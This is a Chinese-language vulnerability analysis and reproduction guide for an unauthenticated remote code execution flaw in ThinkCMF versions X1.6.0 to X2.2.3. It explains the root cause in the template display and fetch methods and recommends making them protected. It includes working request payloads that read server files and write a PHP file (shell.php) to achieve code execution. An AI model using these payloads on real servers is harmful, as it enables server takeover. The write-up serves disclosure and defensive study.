ThinkCMF框架任意内容包含漏洞分析复现
字数 1380 2025-08-15 21:31:32
ThinkCMF框架任意内容包含漏洞分析与复现
0x01 ThinkCMF框架简介
ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。其主要特点包括:
- 采用灵活的应用机制
- 框架提供基础管理功能
- 开发者可通过应用形式进行扩展
- 应用间可独立工作或通过系统协同
0x02 漏洞概述
漏洞类型:远程代码执行漏洞(无需任何权限)
漏洞成因:由于对用户输入参数处理不当,导致攻击者可以:
- 通过构造特定请求实现任意内容包含
- 实现任意文件写入并执行恶意代码
0x03 受影响版本
- ThinkCMF X1.6.0
- ThinkCMF X2.1.0
- ThinkCMF X2.2.0
- ThinkCMF X2.2.1
- ThinkCMF X2.2.2
- ThinkCMF X2.2.3
0x04 环境搭建
所需工具
- Windows 2008R2
- phpstudy2018
- ThinkCMF X2.2.2版本
搭建步骤
- 下载ThinkCMF X2.2.2(提取码:wuhw)
- 将文件放入phpstudy的www目录下
- 通过浏览器访问,按照安装向导完成配置
0x05 漏洞复现
方法一:任意内容包含
Payload:
?a=display&templateFile=README.md
效果:直接显示服务器上的README.md文件内容
方法二:任意文件写入
Payload:
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('shell.php','<?php phpinfo();?>')</php>
执行步骤:
- 发送上述Payload后,页面显示空白
- 访问生成的shell.php文件
- 可看到phpinfo页面已加载,证明代码执行成功
0x06 漏洞原理分析
入口分析
- 入口文件index.php通过gma参数指定分组模块方法
- 可通过a参数直接调用PortalIndexController父类(HomebaseController)中的public方法
关键函数分析
display()函数
- 位置:HomebaseController.class.php
- 作用:加载模板和页面输出
- 参数:
- templateFile:模板文件地址
- charset:模板字符集
- contentType:输出类型
- content:输出内容
fetch()函数
- 参数:
- templateFile:模板文件(可为空)
- prefix:模板缓存前缀(可为空)
- content:待注入的PHP代码
parseTemplate()方法
- 位置:application/Common/Controller/AdminbaseController.class.php
- 处理流程:
- 判断模板主题是否存在
- 当模板主题不存在时,会在当前目录下查找
- 导致文件包含漏洞
0x07 漏洞修复方案
将以下类中的display和fetch函数的修饰符改为protected:
- HomebaseController.class.php
- AdminbaseController.class.php
附录:技术要点总结
- 漏洞触发点:通过a参数直接调用控制器中的public方法
- 利用条件:无需任何权限,可直接远程利用
- 危害程度:可导致服务器被完全控制(RCE)
- 检测方法:尝试访问
?a=display&templateFile=README.md查看是否返回文件内容 - 防护建议:
- 及时升级到安全版本
- 对用户输入进行严格过滤
- 限制敏感函数的调用权限